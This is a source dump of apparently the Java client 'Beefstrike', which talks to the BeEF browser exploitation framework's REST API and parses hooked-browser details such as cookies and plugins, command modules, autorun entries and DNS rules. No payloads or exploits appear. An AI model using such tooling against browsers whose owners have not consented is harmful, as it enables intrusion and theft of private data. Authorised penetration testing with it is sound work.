/plugin_icons/twitter/icon100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/twitter/icon100.png
--------------------------------------------------------------------------------
/plugin_icons/twitter/icon128.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/twitter/icon128.png
--------------------------------------------------------------------------------
/plugin_icons/twitter/icon32.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/twitter/icon32.png
--------------------------------------------------------------------------------
/plugin_icons/twitter/icon48.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/twitter/icon48.png
--------------------------------------------------------------------------------
/plugin_icons/wow/button.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/wow/button.png
--------------------------------------------------------------------------------
/plugin_icons/wow/icon100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/wow/icon100.png
--------------------------------------------------------------------------------
/plugin_icons/wow/icon128.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/wow/icon128.png
--------------------------------------------------------------------------------
/plugin_icons/wow/icon32.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/wow/icon32.png
--------------------------------------------------------------------------------
/plugin_icons/wow/icon48.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/wow/icon48.png
--------------------------------------------------------------------------------
/safari_hk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/safari_hk.png
--------------------------------------------------------------------------------
/screenshot/screenshot1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/screenshot/screenshot1.png
--------------------------------------------------------------------------------
/screenshot/screenshot2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/screenshot/screenshot2.jpg
--------------------------------------------------------------------------------
/sniper.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/sniper.png
--------------------------------------------------------------------------------
/src/com/eyesopencrew/Are.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | /**
4 | * @author Beny Green - gacksecurity.blogspot.com
5 | * EyesOpenCrew -
6 | *
7 | * Object representation of Are rules .
8 | */
9 | public class Are {
10 | private String success;
11 | private String rules;
12 |
13 | public String getSuccess() {
14 | return success;
15 | }
16 |
17 | public void setSuccess(String success) {
18 | this.success = success;
19 | }
20 |
21 | public String getRules() {
22 | return rules;
23 | }
24 |
25 | public void setRules(String rules) {
26 | this.rules = rules;
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/AreRules.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | /**
4 | * @author Beny Green - gacksecurity.blogspot.com
5 | * EyesOpenCrew -
6 | *
7 | * Object representation of one Are rule.
8 | */
9 | public class AreRules {
10 | private String id;
11 | private String name;
12 | private String author;
13 | public String getId() {
14 | return id;
15 | }
16 |
17 | public void setId(String id) {
18 | this.id = id;
19 | }
20 |
21 | public String getName() {
22 | return name;
23 | }
24 |
25 | public void setName(String name) {
26 | this.name = name;
27 | }
28 |
29 | public String getAuthor() {
30 | return author;
31 | }
32 |
33 | public void setAuthor(String author) {
34 | this.author = author;
35 | }
36 |
37 | }
38 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/AreRulesList.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | import net.sf.json.JSONArray;
4 | import net.sf.json.JSONException;
5 | import net.sf.json.JSONObject;
6 | import net.sf.json.JSONSerializer;
7 |
8 | /**
9 | * @author Beny Green - gacksecurity.blogspotpot.com
10 | * EyesOpenCrew -
11 | *
12 | * Object representation of AreRules rules .
13 | */
14 | public class AreRulesList {
15 | public static AreRules[] extractAreRules(String jsontxt){
16 | JSONObject jsonAreRuleslist = (JSONObject) JSONSerializer.toJSON( jsontxt );
17 | AreRules AreRuleslist[] = new AreRules[jsonAreRuleslist.size()];
18 | if (jsonAreRuleslist.isEmpty()){
19 | } else{
20 | for (int i = 0; i < jsonAreRuleslist.size(); i++){
21 | try {
22 | AreRules AreRules = new AreRules();
23 | JSONObject AreRulesid = jsonAreRuleslist.getJSONObject(""+i);
24 | AreRules.setId(AreRulesid.getString("id"));
25 | AreRules.setName(AreRulesid.getString("name"));
26 | AreRules.setName(AreRulesid.getString("author"));
27 | AreRuleslist[i] = AreRules;
28 | }
29 | catch (JSONException e){System.out.println( "ERROR: " + e );}
30 | }
31 | }
32 | return AreRuleslist ;
33 | }
34 |
35 | public static int AreRules_size(String cmd_AreRuleslink){
36 | String jsonTxt_eventAreRules = BeefRequester.BeefGetRequest(cmd_AreRuleslink);
37 | JSONObject jso = new JSONObject();
38 | jso = (JSONObject) JSONSerializer.toJSON(jsonTxt_eventAreRules);
39 | String cmd_AreRules_json = jso.get("AreRules").toString();
40 | JSONArray jsonarray = new JSONArray();
41 | jsonarray = (JSONArray) JSONSerializer.toJSON( cmd_AreRules_json );
42 | return jsonarray.size();
43 | }
44 |
45 | public static AreRules[] extractAreRulesData(String cmd_AreRuleslink){
46 |
47 | String jsonTxt_eventAreRules = BeefRequester.BeefGetRequest(cmd_AreRuleslink);
48 | JSONObject jso = new JSONObject();
49 | jso = (JSONObject) JSONSerializer.toJSON(jsonTxt_eventAreRules);
50 |
51 | String cmd_AreRules_json = jso.get("AreRules").toString();
52 | JSONArray jsonarray = new JSONArray();
53 | jsonarray = (JSONArray) JSONSerializer.toJSON( cmd_AreRules_json );
54 | AreRules AreRuleseventlist[] = new AreRules[jsonarray.size()];
55 | if (jsonarray.isEmpty()){ } else{
56 | for (int i = 0; i < jsonarray.size(); i++){
57 |
58 | try {
59 | AreRules AreRulesevnt = new AreRules();
60 | AreRulesevnt.setId(jsonarray.getJSONObject(i).getString("id"));
61 | AreRulesevnt.setName(jsonarray.getJSONObject(i).getString("name"));
62 | AreRulesevnt.setName(jsonarray.getJSONObject(i).getString("author"));
63 | AreRuleseventlist[i] = AreRulesevnt;
64 | }
65 | catch (JSONException e){System.out.println( "ERROR: " + e );}
66 | }
67 | }
68 | return AreRuleseventlist ;
69 | }
70 |
71 | public static String extractAreRulesEventData(String jsontxt , int rang, String value) {
72 | AreRules AreRuleseventlist[] = AreRulesList.extractAreRulesData(jsontxt);
73 | String a = null;
74 | if(value.equals("id")) {a = AreRuleseventlist[rang].getId();}
75 | else if(value.equals("name")) {a = AreRuleseventlist[rang].getName();}
76 | else if(value.equals("author")) {a = AreRuleseventlist[rang].getAuthor();}
77 | return a ;
78 | }
79 | }
80 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/Autorun.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | /**
4 | * @author Beny Green - gacksecurity.blogspot.com
5 | * EyesOpenCrew -
6 | *
7 | * Object representation of one autorun entry from beefstrike.
8 | */
9 | public class Autorun {
10 | private String cc;
11 | private String id;
12 | private String name;
13 | private String browser;
14 | private String category;
15 | private String Param;
16 |
17 | /**
18 | *
19 | * @return id
20 | */
21 | public String getId() {
22 | return id;
23 | }
24 | /**
25 | *
26 | * @param id
27 | */
28 | public void setId(String id) {
29 | this.id = id;
30 | }
31 |
32 | /**
33 | *
34 | * @return name
35 | */
36 | public String getName() {
37 | return name;
38 | }
39 | /**
40 | *
41 | * @param name
42 | */
43 | public void setName(String name) {
44 | this.name = name;
45 | }
46 |
47 | public String getCategory() {
48 | return category;
49 | }
50 |
51 | public void setCategory(String category) {
52 | this.category = category;
53 | }
54 |
55 | public String getParam() {
56 | return Param;
57 | }
58 |
59 | public void setParam(String Param) {
60 | this.Param = Param;
61 | }
62 |
63 | public String getBrowser() {
64 | return browser;
65 | }
66 |
67 | public void setBrowser(String browser) {
68 | this.browser = browser;
69 | }
70 |
71 | public String getCc() {
72 | return cc;
73 | }
74 |
75 | public void setCc(String cc) {
76 | this.cc = cc;
77 | }
78 |
79 |
80 | }
81 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/AutorunList.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | import net.sf.json.JSONException;
4 | import net.sf.json.JSONObject;
5 | import net.sf.json.JSONSerializer;
6 | import java.io.FileWriter;
7 | import java.io.File;
8 | /**
9 | * @author Beny Green - gacksecurity.blogspot.com
10 | *
11 | * EyesOpenCrew
12 | */
13 | public class AutorunList {
14 | //List of Autoruns entries of beefstrike
15 | /**
16 | *
17 | * @param jsontxt
18 | * @return Autor[]
19 | * - Extract autorun entries from Json representation.
20 | *
21 | */
22 | public static Autorun[] extractAutorun(String jsontxt){
23 |
24 | JSONObject jsonAutorunlist = (JSONObject) JSONSerializer.toJSON( jsontxt );
25 | //JSONObject Offline = json.getJSONObject("hooked-browsers").getJSONObject("offline");
26 | Autorun Autorunlist[] = new Autorun[jsonAutorunlist.size()];
27 | if (jsonAutorunlist.isEmpty()){
28 | System.out.println("No Autorun, may be list is empty !");
29 | } else{
30 | for (int i = 0; i < jsonAutorunlist.size(); i++){
31 |
32 | try {
33 | Autorun Autor = new Autorun();
34 | JSONObject Autorid = jsonAutorunlist.getJSONObject(""+i);
35 | Autor.setId(Autorid.getString("id"));
36 | Autor.setName(Autorid.getString("name"));
37 | Autor.setCc(Autorid.getString("cc"));
38 | Autor.setBrowser(Autorid.getString("browser"));
39 | Autor.setParam(Autorid.getString("Param"));
40 | Autor.setCategory(Autorid.getString("category"));
41 | Autorunlist[i] = Autor;
42 | }
43 | catch (JSONException e){System.out.println( "ERROR: " + e );}
44 | }
45 | }
46 | return Autorunlist ;
47 | }
48 |
49 | public static Autorun extractOneAutor(String jsontxt , int rang) {
50 | Autorun AutorGroup[] = AutorunList.extractAutorun(jsontxt);
51 | try {
52 | return AutorGroup[rang];
53 | }
54 | catch (ArrayIndexOutOfBoundsException e){return null;}
55 | }
56 |
57 | public static String extractAutorData(String jsontxt , int rang, String value) {
58 |
59 | Autorun AutorGroup[] = AutorunList.extractAutorun(jsontxt);
60 | String a = null;
61 |
62 | if (value.equals("id")){ a = AutorGroup[rang].getId(); }
63 | else if(value.equals("name")) {a = AutorGroup[rang].getName();}
64 | else if(value.equals("cc")) {a = AutorGroup[rang].getCc();}
65 | else if(value.equals("browser")) {a = AutorGroup[rang].getBrowser();}
66 | else if(value.equals("Param")) {a = AutorGroup[rang].getParam();}
67 | else if(value.equals("category")) {a = AutorGroup[rang].getCategory();}
68 | return a ;
69 | }
70 |
71 | public static void saveAutorunList (String pathoffiletosave , String texttosave){
72 | try{
73 | File ff=new File(pathoffiletosave);
74 | ff.createNewFile();
75 | FileWriter ffw=new FileWriter(ff);
76 | ffw.write(texttosave);
77 | ffw.close();
78 | } catch (Exception e) {
79 | System.out.println("Unable to save file");
80 | }
81 | }
82 | }
83 |
84 |
85 |
86 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/BeefRequestThread.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | /**
4 | * @author Beny Green - gacksecurity.blogspot.com
5 | *
6 | * EyesOpenCrew
7 | */
8 |
9 | import java.io.BufferedReader;
10 | import java.io.IOException;
11 | import java.io.InputStreamReader;
12 | import java.net.HttpURLConnection;
13 | import java.net.MalformedURLException;
14 | import java.net.URL;
15 |
16 | public class BeefRequestThread extends Thread {
17 | private static String beefserverurl;
18 | private static String details;
19 | private static String hooks;
20 |
21 | public BeefRequestThread(String beefUrl) {
22 | BeefRequestThread.setBeefserverurl(beefUrl);
23 | }
24 |
25 | /**
26 | *
27 | * @param beefUrl
28 | * @return
29 | */
30 |
31 | @Override
32 | public void run() {
33 |
34 | try {
35 |
36 | URL url = new URL(BeefRequestThread.getBeefserverurl());
37 | HttpURLConnection conn = (HttpURLConnection) url.openConnection();
38 | conn.setRequestMethod("GET");
39 | conn.setRequestProperty("Accept", "application/json");
40 |
41 | if (conn.getResponseCode() != 200) {
42 | throw new RuntimeException("Failed, Maybe the RestfulAPI key is wrong ! : HTTP error code : " + conn.getResponseCode());
43 | }
44 |
45 | BufferedReader br = new BufferedReader(new InputStreamReader(
46 | (conn.getInputStream())));
47 |
48 | String output;
49 | //String t = br.readLine();
50 | while ((output = br.readLine()) != null) {
51 |
52 | BeefRequestThread.setHooks(output);
53 | }
54 |
55 | conn.disconnect();
56 |
57 | } catch (MalformedURLException e) {
58 | } catch (IOException e) {
59 | }
60 | //this.setHooks(hooks);
61 | }
62 |
63 | public static String BeefPostRequest(String beefUrl){
64 | String result = null;
65 | return result ;}
66 |
67 | /**
68 | *
69 | * @return
70 | */
71 | public static String getHooks() {
72 | return hooks;
73 | }
74 |
75 | /**
76 | *
77 | * @param hooks
78 | */
79 | public static void setHooks(String hooks) {
80 | BeefRequestThread.hooks = hooks;
81 | }
82 |
83 | /**
84 | *
85 | * @return
86 | */
87 | public static String getDetails() {
88 | return details;
89 | }
90 |
91 | /**
92 | *
93 | * @param details
94 | */
95 | public static void setDetails(String details) {
96 | BeefRequestThread.details = details;
97 | }
98 |
99 | public static String getBeefserverurl() {
100 | return beefserverurl;
101 | }
102 |
103 | public static void setBeefserverurl(String beefserverurl) {
104 | BeefRequestThread.beefserverurl = beefserverurl;
105 | }
106 |
107 | }
108 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/BeefRequester.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 |
4 | import java.io.IOException;
5 | import java.net.MalformedURLException;
6 | import java.io.BufferedReader;
7 | import java.io.InputStreamReader;
8 | import java.net.HttpURLConnection;
9 | import java.net.URL;
10 | import java.util.logging.Level;
11 | import java.util.logging.Logger;
12 | import net.sf.json.JSONObject;
13 | import net.sf.json.JSONSerializer;
14 |
15 | /**
16 | * @author Beny Green - gacksecurity.blogspot.com
17 | *
18 | * EyesOpenCrew
19 | */
20 | public class BeefRequester {
21 | private static String infos;
22 |
23 | /**
24 | *
25 | * @param beefUrl
26 | * @return
27 | */
28 | public static String BeefGetRequest(String beefUrl) {
29 |
30 | BeefRequestThread beefthrd = new BeefRequestThread(beefUrl);
31 | beefthrd.start();
32 | try {
33 | beefthrd.join(10000); // limit to 10 seconds
34 | //System.out.println("After that: " + beefthrd.getHooks());
35 | return beefthrd.getHooks();
36 | } catch (InterruptedException ex) {
37 | Logger.getLogger(BeefRequester.class.getName()).log(Level.SEVERE, null, ex);
38 | }
39 | if ( beefthrd.getHooks().equals("NULL")){
40 | System.out.println(" Empty ");
41 | }
42 |
43 | return beefthrd.getHooks();
44 | }
45 |
46 | /**
47 | *
48 | * @param beefUrl
49 | * @return
50 | */
51 | public static String BeefGetRequestNoThread(String beefUrl) {
52 |
53 | try {
54 |
55 | URL url = new URL(beefUrl);
56 | HttpURLConnection conn = (HttpURLConnection) url.openConnection();
57 | conn.setRequestMethod("GET");
58 | conn.setRequestProperty("Accept", "application/json");
59 |
60 | if (conn.getResponseCode() != 200) {
61 | throw new RuntimeException("Failed : HTTP error code : " + conn.getResponseCode());
62 | }
63 |
64 | BufferedReader br = new BufferedReader(new InputStreamReader(
65 | (conn.getInputStream())));
66 |
67 | String output;
68 | //String t = br.readLine();
69 | while ((output = br.readLine()) != null) {
70 | //System.out.println(output);
71 | BeefRequester.setInfos(output);
72 | }
73 |
74 | conn.disconnect();
75 |
76 | } catch (MalformedURLException e) {
77 | } catch (IOException e) {
78 | }
79 | return infos;
80 | }
81 |
82 | /**
83 | *
84 | * @param beefUrl
85 | * @return
86 | */
87 | public static String BeefPostRequest(String beefUrl){
88 | String result = null;
89 | return result ;}
90 |
91 | /**
92 | *
93 | * @param jsonstr
94 | * @return
95 | */
96 | public String getResultID(String jsonstr) {
97 | JSONObject jsrs = new JSONObject();
98 | jsrs = (JSONObject) JSONSerializer.toJSON(jsonstr);
99 | String id_result = jsrs.getString("command_id");
100 | return id_result;
101 | }
102 | /**
103 | *
104 | * @return
105 | */
106 | public static String getInfos() {
107 | return infos;
108 | }
109 |
110 | /**
111 | *
112 | * @param infos
113 | */
114 | public static void setInfos(String infos) {
115 | BeefRequester.infos = infos;
116 | }
117 |
118 | /**
119 | * @param jsontxt
120 | * @param key
121 | * Special addition for geolocation feature.
122 | */
123 |
124 | public static String extractMapData(String jsontxt, String key) {
125 | JSONObject jso = (JSONObject) JSONSerializer.toJSON(jsontxt);
126 | String a = null;
127 | if( jso.getJSONObject("geobytes").containsKey(key)) {
128 | a = jso.getJSONObject("geobytes").get(key).toString();
129 | }
130 | return a ;
131 | }
132 | }
133 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/BrowserDetailsClass.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | /**
4 | * @author Beny Green - gacksecurity.blogspot.com
5 | *
6 | * EyesOpenCrew
7 | */
8 | public class BrowserDetailsClass {
9 |
10 | private String BrowserName;
11 | private String BrowserPlugins;
12 | private String BrowserReportedName;
13 | private String BrowserType;
14 | private String BrowserVersion;
15 | private String Cookies;
16 | private String HasActiveX;
17 | private String HasFlash;
18 | private String HasGoogleGears;
19 | private String HasWebSocket;
20 | private String HostName;
21 | private String JavaEnabled;
22 | private String OsName;
23 | private String PageReferrer;
24 | private String PageTitle;
25 | private String PageURI;
26 | private String ScreenParams;
27 | private String SystemPlatform ;
28 | private String VBScriptEnabled ;
29 | private String WindowSize ;
30 | private String hasPersistentCookies ;
31 | private String hasSessionCookies ;
32 |
33 | public String getBrowserName() {
34 | return BrowserName;
35 | }
36 |
37 | public void setBrowserName(String BrowserName) {
38 | this.BrowserName = BrowserName;
39 | }
40 |
41 | public String getBrowserPlugins() {
42 | return BrowserPlugins;
43 | }
44 |
45 | public void setBrowserPlugins(String BrowserPlugins) {
46 | this.BrowserPlugins = BrowserPlugins;
47 | }
48 |
49 | public String getBrowserReportedName() {
50 | return BrowserReportedName;
51 | }
52 |
53 | public void setBrowserReportedName(String BrowserReportedName) {
54 | this.BrowserReportedName = BrowserReportedName;
55 | }
56 |
57 | public String getBrowserType() {
58 | return BrowserType;
59 | }
60 |
61 | public void setBrowserType(String BrowserType) {
62 | this.BrowserType = BrowserType;
63 | }
64 |
65 | public String getBrowserVersion() {
66 | return BrowserVersion;
67 | }
68 |
69 | public void setBrowserVersion(String BrowserVersion) {
70 | this.BrowserVersion = BrowserVersion;
71 | }
72 |
73 | public String getCookies() {
74 | return Cookies;
75 | }
76 |
77 | public void setCookies(String Cookies) {
78 | this.Cookies = Cookies;
79 | }
80 |
81 | public String getHasActiveX() {
82 | return HasActiveX;
83 | }
84 |
85 | public void setHasActiveX(String HasActiveX) {
86 | this.HasActiveX = HasActiveX;
87 | }
88 |
89 | public String getHasFlash() {
90 | return HasFlash;
91 | }
92 |
93 | public void setHasFlash(String HasFlash) {
94 | this.HasFlash = HasFlash;
95 | }
96 |
97 | public String getHasGoogleGears() {
98 | return HasGoogleGears;
99 | }
100 |
101 | public void setHasGoogleGears(String HasGoogleGears) {
102 | this.HasGoogleGears = HasGoogleGears;
103 | }
104 |
105 | public String getHasWebSocket() {
106 | return HasWebSocket;
107 | }
108 |
109 | public void setHasWebSocket(String HasWebSocket) {
110 | this.HasWebSocket = HasWebSocket;
111 | }
112 |
113 | public String getHostName() {
114 | return HostName;
115 | }
116 |
117 | public void setHostName(String HostName) {
118 | this.HostName = HostName;
119 | }
120 |
121 | public String getJavaEnabled() {
122 | return JavaEnabled;
123 | }
124 |
125 | public void setJavaEnabled(String JavaEnabled) {
126 | this.JavaEnabled = JavaEnabled;
127 | }
128 |
129 | public String getOsName() {
130 | return OsName;
131 | }
132 |
133 | public void setOsName(String OsName) {
134 | this.OsName = OsName;
135 | }
136 |
137 | public String getPageReferrer() {
138 | return PageReferrer;
139 | }
140 |
141 | public void setPageReferrer(String PageReferrer) {
142 | this.PageReferrer = PageReferrer;
143 | }
144 |
145 | public String getPageTitle() {
146 | return PageTitle;
147 | }
148 |
149 | public void setPageTitle(String PageTitle) {
150 | this.PageTitle = PageTitle;
151 | }
152 |
153 | public String getPageURI() {
154 | return PageURI;
155 | }
156 |
157 | public void setPageURI(String PageURI) {
158 | this.PageURI = PageURI;
159 | }
160 |
161 | public String getScreenParams() {
162 | return ScreenParams;
163 | }
164 |
165 | public void setScreenParams(String ScreenParams) {
166 | this.ScreenParams = ScreenParams;
167 | }
168 |
169 | public String getSystemPlatform() {
170 | return SystemPlatform;
171 | }
172 |
173 | public void setSystemPlatform(String SystemPlatform) {
174 | this.SystemPlatform = SystemPlatform;
175 | }
176 |
177 | public String getVBScriptEnabled() {
178 | return VBScriptEnabled;
179 | }
180 |
181 | public void setVBScriptEnabled(String VBScriptEnabled) {
182 | this.VBScriptEnabled = VBScriptEnabled;
183 | }
184 |
185 | public String getWindowSize() {
186 | return WindowSize;
187 | }
188 |
189 | public void setWindowSize(String WindowSize) {
190 | this.WindowSize = WindowSize;
191 | }
192 |
193 | public String getHasPersistentCookies() {
194 | return hasPersistentCookies;
195 | }
196 |
197 | public void setHasPersistentCookies(String hasPersistentCookies) {
198 | this.hasPersistentCookies = hasPersistentCookies;
199 | }
200 |
201 | public String getHasSessionCookies() {
202 | return hasSessionCookies;
203 | }
204 |
205 | public void setHasSessionCookies(String hasSessionCookies) {
206 | this.hasSessionCookies = hasSessionCookies;
207 | }
208 |
209 | }
210 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/CmdOptions.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | /**
4 | * @author Beny Green - gacksecurity.blogspot.com
5 | * EyesOpenCrew -
6 | *
7 | * Object representation of one command from command list.
8 | */
9 | public class CmdOptions {
10 | private String info;
11 | private String name;
12 | private String value;
13 | private String ui_label;
14 | /**
15 | *
16 | * @return info
17 | */
18 | public String getInfo() {
19 | return info;
20 | }
21 | /**
22 | *
23 | * @param info
24 | */
25 | public void setInfo(String id) {
26 | this.info = id;
27 | }
28 |
29 | /**
30 | *
31 | * @return name
32 | */
33 | public String getName() {
34 | return name;
35 | }
36 | /**
37 | *
38 | * @param name
39 | */
40 | public void setName(String name) {
41 | this.name = name;
42 | }
43 |
44 | public String getValue() {
45 | return value;
46 | }
47 |
48 | public void setValue(String value) {
49 | this.value = value;
50 | }
51 |
52 | public String getUi_label() {
53 | return ui_label;
54 | }
55 |
56 | public void setUi_label(String ui_label) {
57 | this.ui_label = ui_label;
58 | }
59 |
60 | }
61 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/CommandList.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | import net.sf.json.JSONArray;
4 | import net.sf.json.JSONException;
5 | import net.sf.json.JSONObject;
6 | import net.sf.json.JSONSerializer;
7 |
8 | /**
9 | * @author Beny Green - gacksecurity.blogspot.com
10 | *
11 | * EyesOpenCrew
12 | */
13 | public class CommandList {
14 | //List of Commands modules of BeEF
15 | /**
16 | *
17 | * @param jsontxt
18 | * @return cmd[]
19 | * - Extract commands from Json representation.
20 | *
21 | */
22 | public static Commands[] extractCommands(String jsontxt){
23 |
24 | JSONObject jsonCommandlist = (JSONObject) JSONSerializer.toJSON( jsontxt );
25 | //JSONObject Offline = json.getJSONObject("hooked-browsers").getJSONObject("offline");
26 | Commands Commandslist[] = new Commands[jsonCommandlist.size()];
27 | if (jsonCommandlist.isEmpty()){
28 |
29 | } else{
30 | for (int i = 0; i < jsonCommandlist.size(); i++){
31 |
32 | try {
33 | Commands cmd = new Commands();
34 | JSONObject cmdid = jsonCommandlist.getJSONObject(""+i);
35 | cmd.setId(cmdid.getString("id"));
36 | cmd.setName(cmdid.getString("name"));
37 | cmd.setCategory(cmdid.getString("category"));
38 | Commandslist[i] = cmd;
39 | }
40 | catch (JSONException e){System.out.println( "ERROR: " + e );}
41 | }
42 | }
43 | return Commandslist ;
44 | }
45 |
46 | public static Commands extractOnecmd(String jsontxt , int rang) {
47 | Commands cmdGroup[] = CommandList.extractCommands(jsontxt);
48 | try {
49 | return cmdGroup[rang];
50 | }
51 | catch (ArrayIndexOutOfBoundsException e){return null;}
52 | }
53 |
54 | public static String extractcmdData(String jsontxt , int rang, String value) {
55 |
56 | Commands cmdGroup[] = CommandList.extractCommands(jsontxt);
57 | String a = null;
58 |
59 | if (value.equals("id")){ a = cmdGroup[rang].getId(); }
60 | else if(value.equals("name")) {a = cmdGroup[rang].getName();}
61 | else if(value.equals("category")) {a = cmdGroup[rang].getCategory();}
62 | return a ;
63 | }
64 | /////////
65 |
66 | public static CmdOptions[] extractCommandsOptions(String cmd_optionlink){
67 |
68 | String jsonTxt_cmdeoption = BeefRequester.BeefGetRequest(cmd_optionlink);
69 | JSONObject jso = new JSONObject();
70 | jso = (JSONObject) JSONSerializer.toJSON(jsonTxt_cmdeoption);
71 |
72 | String cmd_options_json = jso.get("options").toString();
73 | JSONArray jsonarray = new JSONArray();
74 | jsonarray = (JSONArray) JSONSerializer.toJSON( cmd_options_json );
75 | CmdOptions Cmdoptlist[] = new CmdOptions[jsonarray.size()];
76 | if (jsonarray.isEmpty()){ } else{
77 | for (int i = 0; i < jsonarray.size(); i++){
78 | //System.out.println(jsonarray.getJSONObject(i).getString("name"));
79 | try {
80 | CmdOptions cmdopt = new CmdOptions();
81 | cmdopt.setName(jsonarray.getJSONObject(i).getString("name"));
82 | cmdopt.setValue(jsonarray.getJSONObject(i).getString("value"));
83 | cmdopt.setUi_label(jsonarray.getJSONObject(i).getString("ui_label"));
84 | Cmdoptlist[i] = cmdopt;
85 | }
86 | catch (JSONException e){System.out.println( "ERROR: " + e );}
87 | }
88 | }
89 | return Cmdoptlist ;
90 | }
91 |
92 | public static String extractcmdOptionData(String jsontxt , int rang, String value) {
93 |
94 | CmdOptions Cmdoptlist[] = CommandList.extractCommandsOptions(jsontxt);
95 | String a = null;
96 | if(value.equals("name")) {a = Cmdoptlist[rang].getName();}
97 | else if(value.equals("value")) {a = Cmdoptlist[rang].getValue();}
98 | else if(value.equals("ui_label")) {a = Cmdoptlist[rang].getUi_label();}
99 | return a ;
100 | }
101 |
102 | }
103 |
104 |
105 |
106 |
107 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/Commands.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | /**
4 | * @author Beny Green - gacksecurity.blogspot.com
5 | * EyesOpenCrew -
6 | *
7 | * Object representation of one command from command list.
8 | */
9 | public class Commands {
10 | private String id;
11 | private String name;
12 | private String category;
13 |
14 | /**
15 | *
16 | * @return id
17 | */
18 | public String getId() {
19 | return id;
20 | }
21 | /**
22 | *
23 | * @param id
24 | */
25 | public void setId(String id) {
26 | this.id = id;
27 | }
28 |
29 | /**
30 | *
31 | * @return name
32 | */
33 | public String getName() {
34 | return name;
35 | }
36 | /**
37 | *
38 | * @param name
39 | */
40 | public void setName(String name) {
41 | this.name = name;
42 | }
43 |
44 | public String getCategory() {
45 | return category;
46 | }
47 |
48 | public void setCategory(String category) {
49 | this.category = category;
50 | }
51 |
52 |
53 | }
54 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/Dns.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | /**
4 | * @author Beny Green - gacksecurity.blogspot.com
5 | * EyesOpenCrew -
6 | *
7 | * Object representation of DNS rules .
8 | */
9 | public class Dns {
10 | private String count;
11 | private String ruleset;
12 |
13 | public String getCount() {
14 | return count;
15 | }
16 |
17 | public void setCount(String count) {
18 | this.count = count;
19 | }
20 |
21 | public String getRuleset() {
22 | return ruleset;
23 | }
24 |
25 | public void setRuleset(String ruleset) {
26 | this.ruleset = ruleset;
27 | }
28 |
29 |
30 |
31 | }
32 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/DnsRules.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | /**
4 | * @author Beny Green - gacksecurity.blogspot.com
5 | * EyesOpenCrew -
6 | *
7 | * Object representation of one DNS rule.
8 | */
9 | public class DnsRules {
10 | private String id;
11 | private String pattern;
12 | private String type;
13 | private String response;
14 |
15 | public String getId() {
16 | return id;
17 | }
18 |
19 | public void setId(String id) {
20 | this.id = id;
21 | }
22 |
23 | public String getPattern() {
24 | return pattern;
25 | }
26 |
27 | public void setPattern(String pattern) {
28 | this.pattern = pattern;
29 | }
30 |
31 | public String getResponse() {
32 | return response;
33 | }
34 |
35 | public void setResponse(String response) {
36 | this.response = response;
37 | }
38 |
39 | public String getType() {
40 | return type;
41 | }
42 |
43 | public void setType(String type) {
44 | this.type = type;
45 | }
46 |
47 | }
48 |
--------------------------------------------------------------------------------
/src/com/eyesopencrew/DnsRulesList.java:
--------------------------------------------------------------------------------
1 | package com.eyesopencrew;
2 |
3 | import net.sf.json.JSONArray;
4 | import net.sf.json.JSONException;
5 | import net.sf.json.JSONObject;
6 | import net.sf.json.JSONSerializer;
7 |
